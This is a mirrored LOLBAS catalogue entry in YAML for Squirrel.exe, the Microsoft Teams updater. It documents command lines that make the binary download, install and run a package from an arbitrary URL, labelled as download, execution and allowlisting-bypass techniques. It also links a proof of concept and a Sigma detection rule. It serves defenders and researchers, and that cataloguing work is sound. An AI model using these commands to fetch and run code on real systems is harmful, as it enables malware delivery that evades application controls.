mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2024-12-27 23:37:58 +01:00
4f83231697
* Update SigmaHQ ref Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com> * Update SigmaHQ ref Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com> * Update SigmaHq ref Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com> * Update SigmaHq ref Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com> --------- Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>
59 lines
2.8 KiB
YAML
59 lines
2.8 KiB
YAML
---
|
|
Name: Squirrel.exe
|
|
Description: Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
|
|
Author: 'Reegun J (OCBC Bank) - @reegun21'
|
|
Created: 2019-06-26
|
|
Commands:
|
|
- Command: squirrel.exe --download [url to package]
|
|
Description: The above binary will go to url and look for RELEASES file and download the nuget package.
|
|
Usecase: Download binary
|
|
Category: Download
|
|
Privileges: User
|
|
MitreID: T1218
|
|
OperatingSystem: Windows 7 and up with Microsoft Teams installed
|
|
- Command: squirrel.exe --update [url to package]
|
|
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
|
|
Usecase: Download and execute binary
|
|
Category: AWL Bypass
|
|
Privileges: User
|
|
MitreID: T1218
|
|
OperatingSystem: Windows 7 and up with Microsoft Teams installed
|
|
- Command: squirrel.exe --update [url to package]
|
|
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
|
|
Usecase: Download and execute binary
|
|
Category: Execute
|
|
Privileges: User
|
|
MitreID: T1218
|
|
OperatingSystem: Windows 7 and up with Microsoft Teams installed
|
|
- Command: squirrel.exe --updateRoolback=[url to package]
|
|
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
|
|
Usecase: Download and execute binary
|
|
Category: AWL Bypass
|
|
Privileges: User
|
|
MitreID: T1218
|
|
OperatingSystem: Windows 7 and up with Microsoft Teams installed
|
|
- Command: squirrel.exe --updateRollback=[url to package]
|
|
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
|
|
Usecase: Download and execute binary
|
|
Category: Execute
|
|
Privileges: User
|
|
MitreID: T1218
|
|
OperatingSystem: Windows 7 and up with Microsoft Teams installed
|
|
Full_Path:
|
|
- Path: '%localappdata%\Microsoft\Teams\current\Squirrel.exe'
|
|
Code_Sample:
|
|
- Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel
|
|
Detection:
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml
|
|
Resources:
|
|
- Link: https://www.youtube.com/watch?v=rOP3hnkj7ls
|
|
- Link: https://twitter.com/reegun21/status/1144182772623269889
|
|
- Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
|
|
- Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
|
|
- Link: https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
|
|
Acknowledgement:
|
|
- Person: Reegun J (OCBC Bank)
|
|
Handle: '@reegun21'
|
|
- Person: Adam
|
|
Handle: '@Hexacorn'
|